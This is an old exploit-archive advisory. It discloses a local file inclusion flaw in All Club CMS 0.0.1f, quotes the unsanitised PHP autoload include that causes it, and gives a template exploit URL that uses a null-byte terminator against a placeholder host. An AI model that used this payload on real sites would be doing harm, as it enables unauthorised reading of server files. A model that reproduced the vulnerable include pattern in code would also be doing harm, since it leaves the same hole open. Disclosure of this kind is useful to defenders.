[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : All Club CMS <= 0.0.1f index.php Local File Inclusion Vulnerability
# Published : 2008-02-04
# Author : Trancek
# Previous Title : VHD Web Pack 2.0 (index.php page) Local File Inclusion Vulnerability
# Next Title : nuBoard 0.5 (threads.php ssid) SQL Injection Vulnerability 


Vulnerability: File Inclusion

Software Vulnerable:

All Club CMS 0.0.1f and maybe prior versions.

Vulnerable Code:

---
function __autoload($class_name) {
    require_once 'includes/'.$class_name . '.php';
}
---


Download:
http://sourceforge.net/project/showfiles.php?group_id=209058

Server should have:
    Register Globals: On
    Magic_quotes_gpc: Off

Exploit :                                                  
http://www.vulnerable.com/accms_site/index.php?class_name=[LFI]%00


Greetz:

P1mp4m.es--> pepepistola, musashi, patoruzu, ElvisPresley and sky
Yashira.org--> PescaoDeth, Garcez, Crackneo, alexhk_23 and all users of yashira as dapaf, el_manguan, etc.


Author: Trancek 

# www.Syue.com [2008-02-04]